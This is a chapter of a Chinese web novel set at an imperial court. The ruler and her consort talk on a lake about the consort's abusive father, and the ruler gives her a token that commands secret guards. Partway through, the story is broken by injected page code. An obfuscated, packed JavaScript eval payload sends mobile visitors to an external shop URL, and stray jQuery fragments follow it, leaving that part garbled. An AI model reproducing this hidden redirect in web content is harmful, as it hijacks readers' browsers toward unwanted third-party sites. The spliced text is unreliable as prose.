文趣网 > 其他小说 > 成为抛弃原配的渣攻 > 11. 老婆说不知道什么是爱
    黎明时分,尹飞秋醒了,低头看向臂弯里的人。

    殷红沉睡着,清晨的曙光漫上她的下颚、唇、鼻、眼,落在她脸上,温柔缱绻。

    折腾了大半晚,她难得累了,尹飞秋的动作没有将她弄醒。

    光亮了些,尹飞秋这才注意到,殷红脸上有极浅的红痕,像是被人打的。

    她皱着眉,怕殷红痛,伸出手却不敢碰,眼里有戾气翻滚。

    这个世界真讨厌。

    尹飞秋就这样静静看着,时间仿佛静止,直到——

    殷红的睫毛微微颤动,小声呻/吟着。

    “陛下?什么时辰了,您是不是该上早朝了……”

    “怎么都睡迷糊了?今天休沐。”

    尹飞秋的声音前所未有的轻柔。

    “喔,对哦。”

    今天的殷红呆呆的。

    尹飞秋突然道:“要去划船吗?”

    “啊?好呀!”

    虽然不知道尹飞秋为什么突然提议这个,但陛下主动相邀,殷红当然乐意至极。

    她表现得神采奕奕,如平时那样,好像昨晚的异样都是幻觉。

    皇宫后花园有个月湖,是不知道哪任皇帝逗宠妃开心挖的。

    尹飞秋没带任何人,就和殷红两人踏上小船,划到湖中央停着。

    她将药膏递给殷红,低着头拨弄船沿边的水,没有说话。

    “您发现了啊……”殷红低语,“我还以为都处理好了呢。”

    “是殷仲林吗?”

    “……”

    “不然,我派人把他杀了吧。”

    !!!

    小灯泡吓得差点从空间里掉出来。

    【宿主!你开玩笑的吧!殷仲林是重要人物,现在还不到死的时候呢!】

    殷红也诧异地望过来,见尹飞秋没有表情,意识到她不是开玩笑。

    殷红突然笑了,从昨晚到现在,露出的第一个真正不带任何阴霾的笑。

    她凑了过来,不顾小船的颠簸,挤在尹飞秋旁边,身体柔若无骨,附在她身上,淡淡的玫瑰香瞬间将两人缠绕在内。

    “陛下是心疼我了吗?”

    边说着,殷红边勾着尹飞秋的小指,轻轻晃动,另一只手也开始不老实,摸了上去。

    “……嗯。”

    殷红顿住,抬头望向尹飞秋,不可置信。

    她从未想过会得到回应。

    “陛下,您刚刚是说……”

    殷红的声音微微颤抖。

    尹飞秋没有直接回答,只是拿过药膏,仔细涂在她脸上受伤的地方。

    “我只是希望你能过得开心,无论现在还是以后。”

    任务没有说最后要如何处置殷红。所以她想,或许等她死了以后,可以把所有东西留给殷红,她想脱离殷家也好,继续掌控权势也罢,只要她开心。

    殷红眼眶泛红,死死抓住尹飞秋的手,十指紧扣。

    “陛下真是的,一边不肯说爱我,一边又讲着如此动听的话。”

    她低头,亲吻尹飞秋的指尖、手指、手背……在她咬过的地方流连。

    “陛下,您想听听我的故事吗?”

    俯身躺在尹飞秋的大腿上,望着白茫茫的天空,殷红问道。

    “嗯。”

    尹飞秋摸着她棕红色的发,低声应着。

    “京城第一世家殷家,无限风光。我作为殷家嫡女,殷仲林的继承人,骄奢淫逸,享尽荣华富贵,过着多少人梦都梦不到的好日子。”

    “所有人都是这么觉得的,对吧?”

    听着殷红刻意高昂的声音,尹飞秋捏了捏她的手心作安慰。

    “没人知道,那个老东西是怎么折磨人的。”

    “从小,他便告诉我,殷府乃至这世上的所有都可以属于我,只要他点头。我的存在就是为了殷家的强盛,为了利益。如果我违背他的意志,他给予我的一切会全部收回。”

    “八岁那年,有人在宴会上想要讨好我,送来一只五彩金刚鹦鹉,特别漂亮。我当时没忍住,不顾殷仲林拒绝的眼神暗示,收下了。”

    “当天,他没有发作,我以为这事过去了,欢喜地抱着鹦鹉笼子睡了好几天,还取了个名叫小金。直到那天……”

    “我随老师上完课回来,就看见小金躺在院子里,身上都是血。它被人插了很多刀,看见我的时候还冲我叫,豆子大的黑色眼睛一直看着我。”

    “我想救它,但所有人都害怕地避开我。我听见她们窃窃私语,说我小小年纪便如此残忍,不高兴了就将刚养的鹦鹉活生生掐死。”

    “然后我知道了,这是殷仲林给我的教训。”

    尹飞秋皱眉。

    没想到有人竟能如此残忍地对待一个孩子,还是他的亲生骨肉。

    哦,不对,也并非没有。

    “后来,或许是殷仲林发现我这样嚣张跋扈的形象更有利于殷家其他人暗中谋利,便乐此不疲布置这样的戏码。”

    殷红自嘲地笑了笑:“当然,我本也不是什么善良的人,该打该骂该杀,可不会憋着。”

    尹飞秋不理解:“你是他的继承人,他为什么要这么做?”

    虽然殷家各支都获利,但殷红名声却烂透了,而且没有掌握任何力量,以后怎么当家。

    殷红冷笑:“他根本就没想过把殷家给任何人。我不过是他树在明面上的靶子,吸引火力,让他搏得个好名声。”

    尹飞秋抿嘴:“你母亲呢?”

    “她啊,不过是个还沉浸在爱情幻想里的疯子罢了,哪顾得了我这个女儿。”殷红的声音逐渐低落,“不过她毕竟是我娘。”

    只要不提及殷仲林,母亲总是温声细语,关心她是否吃好穿好。年幼时,母亲也曾带她逛灯会,在夜晚柔声哼歌哄她入睡。

    这是爱吗?

    殷红仰头看向尹飞秋,星眸微转。

    “陛下,我也不知道什么是爱。我只是想拥有独属于我自己的东西,不被任何人夺走。”

    “我不在意你是否相信我,是否……爱我,只要你属于我。”

    她的手放在尹飞秋的心口,微微用力。

    “独属于我。”

    尹飞秋的心脏平稳地跳动着。

    这次,她没有躲开。

    她能感受到殷红的不安。

    殷红说着不在意,却死死盯着她的唇,好像期待些什么。

    尹飞秋也不知道自己该说什么。</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17712135|208456||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    她已经习惯了不剖露内心,无法像殷红那样直白热烈。

    一阵风吹过来,尹飞秋打了个冷颤。今天没有太阳,天空阴沉沉的,温度有些低。

    殷红收回手,从尹飞秋身上起来。

    “湖上风大,陛下,身体要紧,我们回去吧。”

    这时,尹飞秋突然抓住她的手腕:“别急。”

    她从怀里掏出一块龙凤佩,放在殷红手上。

    殷红扬眉:“陛下这是拿赏赐哄臣妾开心?还是提醒臣妾之前摔了块玉佩,该给陛下补上?”

    想起那块殷雪蓉送给原主的玉佩,尹飞秋莫名有些心虚,连忙道:“不是赏赐,只是想给你。”

    “这是雍朝历任皇帝留下的信物,可以调动皇室最隐秘的一支暗卫。她们数量不多,但身法诡谲、武艺超群,是皇家最后的底牌。”

    殷红表情变得严肃:“……为什么要给我?”

    “你是我的皇后,我们有什么本就该共享。况且……我不放心你的安危。”

    有暗卫在,不至于让殷红在她看不见的地方再受了欺负。

    “这么重要的东西,陛下就这么给我了?就不怕我利用这支力量肆意妄为,把朝堂上下搅得天翻地覆?”

    尹飞秋看着她,眼神直白:“你会吗?”

    殷红没有直接回答。她把玩着龙凤佩,看似漫不经心道:“陛下,您知道吗,殷仲林送我入宫,是想要瓜分您的权柄,逐步蚕食您的势力,最好是让您染上重病,躺在床上死也死不掉,活也不成人形,苟延残喘。”

    “他总说您长大了,翅膀硬了,没有小时候听话,不是一个合格的傀儡。说不定,过阵子就有人将毒药送进来。”

    “我本来无法做到的,但陛下送了我这份力量,或许哪一天我就会亲手将毒药喂给您。”

    “到时候陛下怎么办?”

    殷红进宫是殷家不怀好意这件事,怕是全朝堂的人都看得出来。

    眼看她越说越夸张,尹飞秋拍了拍她的脑袋,没好气道:“不想要就还给我。”

    殷红一下子喜笑颜开,将玉佩揣进怀里:“才不要。入了我的手,就永远是我的东西了。”

    “不过说真的,信物给了我,陛下的安危怎么办?”

    “信物只是一种形式。”尹飞秋说得轻松,“时代不同了,没有信物,她们也认人。而且你真的要用她们来伤害我啊?”

    殷红久久沉默着,许久才道:“陛下,我一定让您长长久久坐在这个位置上,绝不会让任何人威胁到您。”

    ?

    尹飞秋哭笑不得。

    倒也不是这个意思。

    殷红握着玉佩,翻来覆去地看,爱不释手。她的欢喜是如此外露,让尹飞秋也受感染,露出个腼腆的笑容。

    殷红看过来的眼神湿漉漉的。她凑到尹飞秋耳边,轻声道:“陛下……”

    气流喷在耳廓上,微弱的电流直窜到心口,带动全身神经都麻酥酥的。

    尹飞秋不自在地摸了摸耳朵,想要往后退,被殷红提前预判,揽住了她的腰,抱了个满怀。

    “我好喜欢您的礼物。作为回礼,告诉您我的秘密吧,我……”

    “最大的依仗。”